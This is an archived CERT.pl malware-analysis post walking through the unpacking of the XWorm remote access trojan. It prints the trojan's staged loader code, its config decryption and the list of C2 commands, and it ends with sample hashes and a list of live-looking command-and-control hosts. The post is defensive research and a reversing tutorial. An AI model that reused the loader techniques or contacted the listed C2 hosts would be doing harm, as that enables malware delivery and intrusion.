{
	"id": "a4a80f41-538c-42fc-9b9b-c1701e2a00c3",
	"created_at": "2026-04-06T00:12:38.755594Z",
	"updated_at": "2026-04-10T03:20:57.592057Z",
	"deleted_at": null,
	"sha1_hash": "e23042d4aaff0bc4d44b1be67e98d47493ba7644",
	"title": "Malware stories: Deworming the XWorm",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1183791,
	"plain_text": "Malware stories: Deworming the XWorm\r\nArchived: 2026-04-05 16:22:17 UTC\r\nXWorm is a multi-purpose malware family, commonly used as RAT. This post contains a detailed analysis\r\nand walk-through the reverse-engineering process.\r\nMotivation\r\nAfter obtaining our new .NET extraction powers we quickly had a chance to give them another try. This time we\r\ndecided to focus on a malware family called XWorm - a multi-purpose tool that is most commonly used as RAT (a\r\nremote access trojan to control the victim's machine).\r\nA significant part of this post is a very detailed and technical description of the analysis process, including the\r\nunpacking - more detailed than we usually do. Our goal is to be detailed enough in our writeup to serve as a .NET\r\nreversing tutorial. I'd like to stress though, that in most cases in \"the real world\", the unpacking is handled by our\r\nsandboxes, and we rarely have to worry about unpacking malware by hand. Nevertheless, manual unpacking is a\r\nvaluable part of a deep understanding of how malware operates, so this time we won't gloss over it.\r\nWhen, what and why\r\nOur journey started with the sample PO Order Listed PDF_1.lzh (sha256:\r\n21432bcec2d1df855e85a64b3bfbcae8f5031ce449f2c4652076db7bdea375a2 ) (mwdb) (malwarebazaar).\r\nIt was distributed with malspam, and uploaded to mwdb automatically by our integration with external feeds\r\n(malwarebazaar in this case). This LZH1 archive contained just a single file - PO_Order_Listed_PDF.exe . After\r\nrunning openly available Yara rules on this sample, we determined it's XWorm: a type of modular remote access\r\ntrojan (sometimes used for other purposes).\r\nOur goal is to have a complete understanding of the currently active malware families, and we realised we started\r\nseeing more XWorm activity than usual. We decided it would be a good idea to add support for this family to help\r\nus and other mwdb.cert.pl users in tracking the threat.\r\nStage 1 - the outer layer\r\nSince we're dealing with a .NET malware, we have plenty of tools to help us with analysis. Our tool of choice is\r\ndnSpy, so we begin by loading the PO_Order_Listed_PDF.exe into it:\r\nhttps://cert.pl/en/posts/2023/10/deworming-the-xworm/\r\nPage 1 of 17\n\nWe immediately get a lot of useful information:\r\nThe project is not heavily obfuscated (in fact, clicking on any source file confirms that it's not obfuscated at\r\nall).\r\nThe project was written in VisualBasic (an educated guess, judging by MyComputer , MyApplication , etc\r\nclasses)\r\nNot a lot of useful code otherwise, so the real payload is probably packed.\r\nThere are resources - could it be that the payload is stored in one of them?\r\nLet's check the resources then:\r\nhttps://cert.pl/en/posts/2023/10/deworming-the-xworm/\r\nPage 2 of 17\n\nThere are two images. One of them depicts a half-naked lady (censored here for obvious reasons). It's most\r\ncertainly not malware. The second one looks a bit more interesting: it's a bitmap full of random-looking pixels.\r\nThis suggests that it may hold our precious payload, assuming we learn how to decode it.\r\nThere's also a third, non-image, resource, which contains a random-looking string, also a good candidate for the\r\npayload container:\r\nhttps://cert.pl/en/posts/2023/10/deworming-the-xworm/\r\nPage 3 of 17\n\nTo learn the truth we have to get our hands dirty and start actually reverse-engineering the code.\r\nFinding the malicious code is not trivial because it's hidden in a ton of legitimate code. Most of the code was\r\nprobably copied from an open-source project, as an attempt to confuse static analysers. The malicious snippet of\r\ncode is hidden in an InitializeComponent method of the main window:\r\nResourceManager resourceManager = new ResourceManager(typeof(frmSpill));\r\nstring C_Mild = resourceManager.GetString(\"String1\");\r\nstring rm = C_Mild.Replace(\"\u003c\u003e\", \"~\").Replace(\")(\", \"}}\");\r\nstring XX = rm.Replace(\"}\", \"0\");\r\nstring NMCS = XX;\r\nstring[] For = this.String(NMCS, -10).Split(new char[] { '~' });\r\nList\u003cbyte\u003e MMMMMMMMMMM = new List\u003cbyte\u003e();\r\nchecked\r\n{\r\n int num = For.Length - 1;\r\n for (int i = 0; i \u003c= num; i++)\r\n {\r\n MMMMMMMMMMM.InsertRange(i, new byte[] { (byte)Convert.ToInt32(For[i], 16) });\r\n }\r\n object[] JJDFS = new object[] { MMMMMMMMMMM.ToArray() };\r\n Assembly ModeServices = (Assembly)LateBinding.LateGet(AppDomain.CurrentDomain, null, \"Load\", JJDFS, null, nu\r\n // ...\r\n Type VKVK = ModeServices.GetTypes()[2];\r\n MethodInfo CSASC = VKVK.GetMethod(\"DeleteMC\");\r\n this.WithEvents(CSASC);\r\n ...\r\n}\r\nWith two more helpers:\r\nhttps://cert.pl/en/posts/2023/10/deworming-the-xworm/\r\nPage 4 of 17\n\npublic string String(string CCInput, int shift)\r\n{\r\n string GG23 = \"\";\r\n foreach (char c in CCInput) {\r\n bool flag = char.IsLetter(c);\r\n if (flag) {\r\n char @base = Conversions.ToChar(Interaction.IIf(this.IsUpperCase(c), 'A', 'a'));\r\n int offset = (Strings.Asc(c) - Strings.Asc(@base) + shift) % 26;\r\n GG23 += Conversions.ToString(Strings.Chr(Strings.Asc(@base) + offset));\r\n } else {\r\n GG23 += Conversions.ToString(c);\r\n }\r\n }\r\n return GG23;\r\n}\r\npublic object WithEvents(object OF) {\r\n NewLateBinding.LateCall(OF, null, \"Invoke\", new object[] {\r\n 0,\r\n new object[] {\r\n frmSearch.MemoryBoost[0],\r\n frmSearch.MemoryBoost[1],\r\n \"Mastermime\"\r\n }\r\n }, null, null, null, true);\r\n object WithEvents;\r\n return WithEvents;\r\n}\r\nGreat, so we understand what the long string is for. The program does a few simple operations on it, converts it to\r\nbytes, and loads it as a .NET assembly. Finally, a method called DeleteMC is called on the result. Let's try to\r\nunpack this payload.\r\nAfter saving the string to a file, we can do this in a few lines of Python:\r\nimport sys\r\ntxt = open(sys.argv[1], \"r\").read().strip()\r\ntxt = txt.replace(\"\u003c\u003e\", \"~\").replace(\")(\", \"}}\").replace(\"}\", \"0\")\r\nx = txt.split(\"~\")\r\nx = [''.join(chr(ord(c) - 10) if not c.isdigit() else c for c in r) for r in x]\r\nx = [int(c, 16) for c in x]\r\nopen(sys.argv[2], \"wb\").write(bytes(x))\r\nAfter running this script we get a nice binary with a familiar-looking header:\r\nhttps://cert.pl/en/posts/2023/10/deworming-the-xworm/\r\nPage 5 of 17\n\n❯ xxd /tmp/unpacked | head\r\n00000000: 4d5a 9000 0300 0000 0400 0000 ffff 0000 MZ..............\r\n00000010: b800 0000 0000 0000 4000 0000 0000 0000 ........@.......\r\n00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n00000030: 0000 0000 0000 0000 0000 0000 8000 0000 ................\r\n00000040: 0e1f ba0e 00b4 09cd 21b8 014c cd21 5468 ........!..L.!Th\r\n00000050: 6973 2070 726f 6772 616d 2063 616e 6e6f is program canno\r\n00000060: 7420 6265 2072 756e 2069 6e20 444f 5320 t be run in DOS\r\n00000070: 6d6f 6465 2e0d 0d0a 2400 0000 0000 0000 mode....$.......\r\n00000080: 5045 0000 4c01 0300 0e46 6faf 0000 0000 PE..L....Fo.....\r\n00000090: 0000 0000 e000 0221 0b01 3000 00d2 0000 .......!..0.....\r\nYou can also get it from mwdb. Let's load it into dnSpy!\r\nStage 2 - the bitmap loader\r\nLet's take a look at that second binary:\r\nhttps://cert.pl/en/posts/2023/10/deworming-the-xworm/\r\nPage 6 of 17\n\nIt's... very similar to the first one. Let's take a look at the DeleteMC method (remember that the first stage calls\r\nit):\r\npublic static void DeleteMC(string resource_name, string 鷹は_param, string project_name)\r\n{\r\n Thread.Sleep(25500);\r\n Bitmap bmp = CCM.IIII26(resource_name, project_name);\r\n byte[] io_byte = CCM.III14(bmp);\r\n byte[] jud_byte = CCM.LabelEdit(io_byte, 鷹は_param);\r\n byte[] raw_byte = CCM.LabelTextAdd(jud_byte);\r\n Assembly i = AppDomain.CurrentDomain.Load(raw_byte);\r\n object ii = Interaction.CallByName(i, \"EntryPoint\", CallType.Get, null);\r\n object obj = ii;\r\n string text = \"Invoke\";\r\n CallType callType = CallType.Get;\r\n object[] array = new object[2];\r\n array[0] = 0;\r\n object iii = Interaction.CallByName(obj, text, callType, array);\r\n Environment.Exit(0);\r\n}\r\nNice, this is decrypting another layer of malware and loads it with AppDomain.Load. The quick analysis\r\nconfirmed that passed resource_name is the name of the suspicious random-looking bitmap that we spotted at the\r\nbeginning. At this point, we could analyse and reimplement the encryption method, but there is a better way - we\r\ncan just copy the relevant code from the binary and recompile it to do all the work for us.\r\nSo the easiest (by far) way to decrypt the bitmap is to write a few lines of code:\r\nstatic void Main2(string[] args)\r\n{\r\n Console.WriteLine(args[0]);\r\n Bitmap bmp = (Bitmap)Bitmap.FromFile(args[0]);\r\n byte[] bytes = III14(bmp);\r\n byte[] decoded = LabelEdit(bytes, \"brF\");\r\n byte[] ungzed = LabelTextAdd(decoded);\r\n File.WriteAllBytes(args[1], ungzed);\r\n}\r\nAnd copy the relevant methods (called III14 , LabelEdit , LabelTextAdd - meaningless random names set by\r\nobfuscator) from dnSpy.\r\nWhen this is done, we get a nice unpacked sample and we can continue our journey.\r\nStage 3 - the final packer\r\nhttps://cert.pl/en/posts/2023/10/deworming-the-xworm/\r\nPage 7 of 17\n\nWe know the drill by now. Load the file into dnSpy:\r\nNow it starts getting more challenging - every name is obfuscated:\r\nThis looks a bit daunting, but we won't let this discourage us. First, when dealing with obfuscated .NET binaries,\r\nit's a good idea to run de4dot (a popular .NET deobfuscator). In this case, it's not able to deobfuscate this step\r\ncompletely automatically, but it cleans up the names nicely:\r\nhttps://cert.pl/en/posts/2023/10/deworming-the-xworm/\r\nPage 8 of 17\n\nLet's proceed to the analysis. The previous stage calls the entrypoint of this binary, and the entrypoint is\r\nClass10.Main (after deobfuscation).\r\nThe entrypoint is slightly obfuscated, but the interesting part is in the global part of the class2:\r\n// Token: 0x040000C8 RID: 200\r\nprivate static string string_0 = \"YLyYKuLefatW\";\r\n// Token: 0x040000C9 RID: 201\r\nprivate static byte[] byte_0 = Class4.smethod_1(Class4.smethod_2(Class4.smethod_0(\"qJIF\"), Class10.string_0));\r\nqJIF is a resource name (visible in a screenshot above), and Assembly.Load is called on the result, i.e. byte_0\r\nvariable. So this is just a decryption process. We can repeat the same process as before - let's steal the decryption\r\ncode from the executable:\r\nstatic void Main2(string[] args)\r\n{\r\n byte[] ct = File.ReadAllBytes(args[0]);\r\n byte[] pt = smethod_2(ct, \"YLyYKuLefatW\");\r\nhttps://cert.pl/en/posts/2023/10/deworming-the-xworm/\r\nPage 9 of 17\n\nbyte[] xt = smethod_1(pt);\r\n File.WriteAllBytes(args[1], xt);\r\n}\r\nAnd we have the final stage - unpacked XWorm sample!\r\nBy the way, we intentionally skipped the analysis of this packer, even though it has some interesting capabilities -\r\nfor example, it can serve as a dropper for more samples, instead of shipping a hardcoded binary. But let's focus on\r\nthe task at hand, XWorm analysis.\r\nThe unpacking had quite a few steps, so in case you're confused, here's a handy chart of what happened:\r\nStage 4 - unpacked XWorm\r\nFinally, we have a readable code that we're actually interested in:\r\nhttps://cert.pl/en/posts/2023/10/deworming-the-xworm/\r\nPage 10 of 17\n\nThere's a surprisingly small amount of code available here.\r\nFirst things first: configuration is stored unencrypted in a static class:\r\npublic class Settings\r\n{\r\n public static string Host = \"F4jr/vvTrT1jYHVO/VWT9g==\";\r\n public static string Port = \"/WlVZ8FqvqpYNxMp1wqBug==\";\r\n public static string KEY = \"Di1EUQaCkxj4NsuYE84xZA==\";\r\n public static string SPL = \"pYRh1ZaEpqOA/SOh8SP6CA==\";\r\n public static int Sleep = 3;\r\n public static string USBNM = \"ZpMt/fhAbZH/LD/BPRS9HQ==\";\r\n public static string Mutex = \"QjEV8RvoMfefc5wG\";\r\n public static string LoggerPath = Interaction.Environ(\"temp\") + \"\\\\Log.tmp\";\r\n}\r\nData is encrypted with AES EBC using the MD5 hash of the \"Mutex\" field as the key.\r\nWe can easily write a C# decryptor again:\r\ninternal class XwormUnpacker\r\n{\r\n public static string Mutex = \"QjEV8RvoMfefc5wG\";\r\nhttps://cert.pl/en/posts/2023/10/deworming-the-xworm/\r\nPage 11 of 17\n\npublic static object Decrypt(string input)\r\n {\r\n RijndaelManaged rijndaelManaged = new RijndaelManaged();\r\n MD5CryptoServiceProvider md5CryptoServiceProvider = new MD5CryptoServiceProvider();\r\n byte[] array = new byte[32];\r\n byte[] array2 = md5CryptoServiceProvider.ComputeHash(Encoding.UTF8.GetBytes(Mutex));\r\n Array.Copy(array2, 0, array, 0, 16);\r\n Array.Copy(array2, 0, array, 15, 16);\r\n rijndaelManaged.Key = array;\r\n rijndaelManaged.Mode = CipherMode.ECB;\r\n ICryptoTransform cryptoTransform = rijndaelManaged.CreateDecryptor();\r\n byte[] array3 = Convert.FromBase64String(input);\r\n return Encoding.UTF8.GetString(cryptoTransform.TransformFinalBlock(array3, 0, array3.Length));\r\n }\r\n static void Main(string[] args)\r\n {\r\n var Host = \"F4jr/vvTrT1jYHVO/VWT9g==\";\r\n var Port = \"/WlVZ8FqvqpYNxMp1wqBug==\";\r\n var KEY = \"Di1EUQaCkxj4NsuYE84xZA==\";\r\n var SPL = \"pYRh1ZaEpqOA/SOh8SP6CA==\";\r\n var USBNM = \"ZpMt/fhAbZH/LD/BPRS9HQ==\";\r\n Console.WriteLine(Decrypt(Host));\r\n Console.WriteLine(Decrypt(Port));\r\n Console.WriteLine(Decrypt(KEY));\r\n Console.WriteLine(Decrypt(SPL));\r\n Console.WriteLine(Decrypt(USBNM));\r\n }\r\n}\r\nOther features of the malware are quite typical for stealers (and RATs):\r\nKeylogger capabilities implemented in the XLogger class\r\nUSB spreader code (!), implemented in a class called USB\r\nUninstaller capability, triggered by a remote command\r\nSimple AV evasion features\r\nAnd, of course, C2 communication protocol. The communication is implemented by the classes ClientSocket\r\nand Messages . The supported commands are:\r\nrec - Restart\r\nCLOSE - Shutdown for now\r\nuninstall - Shutdown for good, i.e. remove persistence and shutdown\r\nupdate [url] - Download a new sample and replace the current binary\r\nDW [data] - Run a powershell script\r\nhttps://cert.pl/en/posts/2023/10/deworming-the-xworm/\r\nPage 12 of 17\n\nFM [data] - Run a .NET binary from memory\r\nUrlopen [url] - Open a browser window with the specified url (or so the code suggests - in practice it\r\ncan run arbitrary commands)\r\nUrlhide [url] - Make a HTTP request to the specified URL\r\nPCShutdown - Self-explanatory. Shuts down the PC\r\nPCLogoff - Same - logs off the current user\r\nStartDDos [url] - DDoS the specified target\r\nStopDDoS - Stop the DDoS\r\nStartReport - Start the reporting process (send more info to the C2)\r\nStopReport - Stop the reporting process (stop sending info to the C2)\r\nXchat - Unsure. In the analysed sample just responds with the client ID\r\nngrok - Unsure. In the analysed sample just responds with the client ID\r\nDDoS - Unsure. In the analysed sample just responds with a hardcoded string\r\nplugin [sha256_hash] - Client sends a command sendPlugin [sha256_hash] to the C2 to get the\r\nspecified plugin (if not present yet)\r\nsavePlugin [data] - Client saves the specified plugin\r\nOfflineGet - Client sends the current keylogger logs\r\n$Cap - Client sends the current screenshot to the C2\r\nAll of them are very standard for this class of malware. From our point of view, the most interesting commands\r\nare plugin that lets us know which plugins are supported by C2. We can later download them by issuing our\r\nown sendPlugin command.\r\nAnother interesting caveat of the protocol is that it's stateless - server doesn't keep track of the current client status,\r\nso we can, for example, download a plugin without C2 letting us know it exists, or send a screenshot result to the\r\nC2 even when C2 didn't ask for it.\r\nAutomating the analysis\r\nFinally, let's try something ambitious, and write a malduck module to perform the config extraction automatically.\r\nYou might remember from our previous blog post that we've decided to use dnLib for .NET malware extraction\r\n(instead of relying on our previous byte-level hacky methods). So our goal here is to use dnLib to:\r\nFind a class that contains the encrypted config\r\nExtract the encrypter configuration\r\nAnd decrypt it\r\nThe easiest way to solve the first problem is to just get a class called \"Settings\". We have additional heuristics\r\ninternally, but this method is good enough for most samples:\r\n# This is a dotnet-interop code! Make sure you call pythonnet.load first, and have dnlib in path.\r\nfrom dnlib.DotNet import ModuleDef, ModuleDefMD, UTF8String\r\nfrom dnlib.DotNet.Emit import OpCodes\r\nfrom malduck.extractor import Extractor\r\nhttps://cert.pl/en/posts/2023/10/deworming-the-xworm/\r\nPage 13 of 17\n\nfrom malduck import procmem\r\nclass Xworm(Extractor):\r\n yara_rules = \"xworm_generic\",\r\n family = \"xworm\"\r\n @Extractor.needs_pe\r\n @Extractor.final\r\n def xworm(self, p: procmem) -\u003e None:\r\n modctx = ModuleDef.CreateModuleContext()\r\n module = ModuleDefMD.Load(p.readp(0), modctx)\r\n for candidate in module.GetTypes():\r\n if typeobj.Name == \"Settings\":\r\n rip_result = try_rip_type(candidate)\r\n if rip_result:\r\n rip_result[\"family\"] = \"xworm\"\r\n self.push_config(rip_result)\r\nExtracting the configuration is the fun part. In C# the fields look like they have default values, but this concept\r\ndoesn't exist at the level of CIL (C#'s intermediate code). Instead, every class has a \"static constructor\" that is\r\ncalled before it's first used, and the static constructor initialises every field to the default value. Hence, we need to\r\nparse the machine code of the static constructor to get the default values. Fortunately, dnLib has our back.\r\nThe idea is that the machine code for field_name = \"string\" will look like:\r\nldstr \"string\"\r\nstsfld field_name\r\nAnd we can easily implement this kind of linear scanning in dnLib:\r\nfrom dnlib.DotNet.Emit import OpCodes\r\ndef get_string_default_values(typeobj):\r\n \"\"\"Get all variables initialised to a string as a dict.\r\n Ignore other initialisation code.\r\n typeobj is TypeDefMD from dnlib.DotNet.\"\"\"\r\n static_ctor = typeobj.FindStaticConstructor()\r\n if not static_ctor:\r\n return {}\r\n result = {}\r\n code = static_ctor.Body.Instructions\r\n for i in range(len(code) - 1):\r\n if code[i].OpCode == OpCodes.Ldstr:\r\nhttps://cert.pl/en/posts/2023/10/deworming-the-xworm/\r\nPage 14 of 17\n\nif code[i+1].OpCode == OpCodes.Stsfld:\r\n fieldname = code[i+1].Operand.Name.String\r\n fieldvalue = code[i].Operand\r\n result[fieldname] = fieldvalue\r\n return result\r\nThe final step is decryption. We already did this in C#, but we can easily port it into Python (by the way, the\r\nmalware has off-by-one bug - it constructs a key as keyhash[:15] + keyhash + b'\\x00' , and the intention was\r\nlikely just keyhash + heyhash ):\r\ndef try_rip_type(typeobj):\r\n config = get_string_default_values(typeobj)\r\n if \"Mutex\" not in config:\r\n return None\r\n keyhash = hashlib.md5(config[\"Mutex\"].encode()).digest()\r\n aeskey = keyhash[:15] + keyhash + b'\\x00'\r\n def decrypt_field(value):\r\n value = base64.b64decode(value)\r\n plaintext = aes.ecb.decrypt(aeskey, value)\r\n return unpad(plaintext)\r\n result[\"Host\"] = decrypt_field(config[\"Host\"])\r\n result[\"Port\"] = decrypt_field(config[\"Port\"])\r\n result[\"KEY\"] = decrypt_field(config[\"KEY\"])\r\n result[\"SPL\"] = decrypt_field(config[\"SPL\"])\r\n return result\r\nNow just add this to our malware analysis pipeline and we get nice configs like this.\r\nEven better, we get all of this information automatically as soon as a sample is uploaded to MWDB:\r\nhttps://cert.pl/en/posts/2023/10/deworming-the-xworm/\r\nPage 15 of 17\n\nEpilogue\r\nOur analysis didn't end there - we also looked for XWorm variants, reverse-engineered the communication\r\nprotocol, used the communication protocol to download xworm plugins from C2s, reverse engineered the plugins\r\nand the commands they support and evaluated their potential for threat intelligence. Some of this research is still\r\nongoing, but this blog post is getting a bit long anyway and it's time to cut it short.\r\nWe hope this in-depth analysis was interesting and approachable both for people who just start their adventure\r\nwith .NET reverse-engineering, and for seasoned analysts who learned something about how the bot operates\r\nexactly.\r\nIoCs\r\nRecent samples:\r\n7a61fcf00b368d4e5efe55c3d5b09b417422f081b4154a5b264a211c30959ed2\r\nf995d58bbe6383947308e35ffc36eba0fe3e357c2d4d9612dbf4bb2fa0f992b4\r\nd9c88ab29f40ca6865aa0b0a99e8fe0ad9e00d57c88e084e94d70bf2ecf53b62\r\n83b91f098157b5ba0147972c1d5c4d751d66fc59d7645e2e643ce863101f6d52\r\necfe634b75153c27d0e4bcaf3bf931aca1b64189254c8e08ffb04dc603915a55\r\ncf479eb23e6252acce467b8cfc14182ac725659ef8fa5c28b9271a067756955c\r\n0b04d44318591e8dde1ac1cdd2ae725f97932aac7a471eacecf604bb1b76c898\r\n50cc18e65b1e6ca61f84eb2e255af53d1088db17585675c7eccc7a2236c13606\r\n001e2be0b431a33fbc7d0eb1fabd07d5c1cdba26ebef12e85b2a7ba58bdd995c\r\n72e72897d0386da8763e998e2b32cc996e500fe3db22556880cfb7b53f66199d\r\n3d3e6df58bc4c81e9ba397b70246ec535b8e50cc01170b6be392566ccabaa7a4\r\n979d8beb1cdb03b48e13beb8034136aeb2899bf437ce1483cff67976a0706db2\r\n853141ecab59614b4bd0e5ecd204a79e5856cd2aaa8464a6084b4c1ba2960610\r\n87b2797f05debda5a97abab75511afdb42a2992fd8ca45e094b26bef558397cf\r\na7da92a8f1dde21271b0e4ca6dab609c97cde7d659582eef25e373fc9dd44610\r\nhttps://cert.pl/en/posts/2023/10/deworming-the-xworm/\r\nPage 16 of 17\n\n0e775d8ad0dede1acec67508e6bdc2b6940a63c937e3131262889ddb3beb309a\r\na088b9f3b8936f8fc7ef1c26a30e38b6fed5a08f20aad35a69733f2b83b9bffd\r\n9c8f662c94fb5178feb1af27980f736069689b039b32640df39c39e9438b0651\r\n52d48762de1d1b88a9d5b1edb26ef678a1d5899e5521f1b49de0fdc159db899c\r\nf0b72304c04c20c2fd7656fd43b3c916d92c7c89382a2e9a2ece614a90e61a10\r\n90e01d9e7329b5ece0778944afd455fa2cc55b27e4d78d7bc3f6a884a3b01c3d\r\nea87bdca84791d7b13f4fae8744f3ef3ec81261be2b57f4dde80d9a2bcebdb2d\r\ncbfb37a30549dfc3b45cb0619d9f810f8ea32c59e63aa91a21ab8d4192f74c72\r\n50a3d3508c4b826b4e36678dd91b374c339b0c57a89a31cd3e9f5a4441772dc0\r\n9b6eecaa9a316a2f4363b98691c52d775ba9c641fc13e9a2d0cde7ae725dd3b0\r\n038806df1542419d8fff8f288bc2159a80c0a1c8f62e3df7c426bfd985b3d1d2\r\nRecent C\u0026C servers:\r\nseptiembre2022.duckdns.org:3130\r\nmiles-c.at.ply.gg:49826\r\n20.197.231.178:7000\r\neu-central-7075.packetriot.net:22123\r\n191.101.130.18:8252\r\nxyoptotway.work.gd:7998\r\nrick63.publicvm.com:2358\r\nseptiembre2022.duckdns.org:3130\r\ntopics-junior.at.ply.gg:45283\r\neu-central-7075.packetriot.net:22123\r\nseptiembre2022.duckdns.org:3130\r\n152.228.179.67:8888\r\nfee-harmful.gl.at.ply.gg:41934\r\nseptiembre2022.duckdns.org:3130\r\n141.94.61.23:7000\r\nsingle-boulevard.at.ply.gg:48892\r\ntopics-junior.at.ply.gg:45283\r\nandroidmedallo.duckdns.org:7080\r\n4Mekey.myftp.biz:7000\r\nseptiembre2022.duckdns.org:3130\r\n171.22.30.13:7000\r\nblackid-48194.portmap.host:48194\r\nSource: https://cert.pl/en/posts/2023/10/deworming-the-xworm/\r\nhttps://cert.pl/en/posts/2023/10/deworming-the-xworm/\r\nPage 17 of 17",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://cert.pl/en/posts/2023/10/deworming-the-xworm/"
	],
	"report_names": [
		"deworming-the-xworm"
	],
	"threat_actors": [],
	"ts_created_at": 1775434358,
	"ts_updated_at": 1775791257,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/e23042d4aaff0bc4d44b1be67e98d47493ba7644.pdf",
		"text": "https://archive.orkl.eu/e23042d4aaff0bc4d44b1be67e98d47493ba7644.txt",
		"img": "https://archive.orkl.eu/e23042d4aaff0bc4d44b1be67e98d47493ba7644.jpg"
	}
}